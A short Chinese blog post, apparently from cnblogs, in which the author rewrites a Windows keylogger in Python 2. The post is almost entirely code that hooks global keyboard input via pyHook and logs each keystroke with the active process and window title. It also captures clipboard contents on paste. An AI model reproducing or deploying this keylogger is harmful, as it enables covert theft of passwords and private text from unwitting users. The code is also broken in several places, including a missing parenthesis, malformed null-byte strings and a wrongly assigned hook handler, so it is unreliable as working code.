• Python 键盘记录


        之前写的键盘记录最后一直在纠结弹框与不弹框的问题,代码找不到了,今天重新来一遍

    #!/usr/bin/env python
    # -*-coding:utf-8 -*-


    from ctypes import *
    import pythoncom
    import pyHook
    import win32clipboard


    user32 = windll.user32
    kernel32 = windll.kernel32
    psapi = windll.psapi
    current_window = None


    def get_current_process():
        hwnd = user32.GetForegroundWindow()
        pid = c_ulong(0)
        user32.GetWindowThreadProcessID(hwnd,byref(pid))
        process_id = "%d" % pid.value
        executable = create_string_buffer("x00" * 512)
        h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
        psapi.GetModuleBaseName(h_process,None, byref(executable),512)
        window_title =create_string_buffer("x00" * 512)
        length = user32.GetWindowTextA(hwnd,byref(window_title),512
        print " [PID:%s-%s-%s]" % (process_id,executable.value,window_title.value)
        kernel32.CloseHandle(hwnd)
        kernel32.CloseHandle(h_process)


    def KeyStroke(event):
        global current_window
        if event.WindowName != current_window:
            current_window = event.WindowName
            get_current_process()
        if event.Ascii > 32 and event.Ascii < 127:
            print chr(event.Ascii),
        else:
            if event.Key == "V":
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print "[PASTE]-%s " % (pasted_value),
            else:
                print "[%s]" % event.Key,
        return True


    kl = pyHook.HookManager()
    kl.KeyDown = KeyStroke()

    kl.HookKeyboard()
    pythoncom.PumpMessages()

       

  • 相关阅读:
    排序算法(六)快速排序
    排序算法(五)归并排序
    排序算法(四)堆排序
    排序算法(三)插入排序
    排序算法(二)选择排序
    sizeof strlen 求char*字符串的长度
    剑指offer 按之字型顺序打印二叉树
    剑指offer 对称的二叉树
    剑指offer 二叉树的下一个结点
    剑指offer 删除链表中重复的结点
  • 原文地址:https://www.cnblogs.com/Lightening2/p/6032099.html
Copyright © 2020-2023  润新知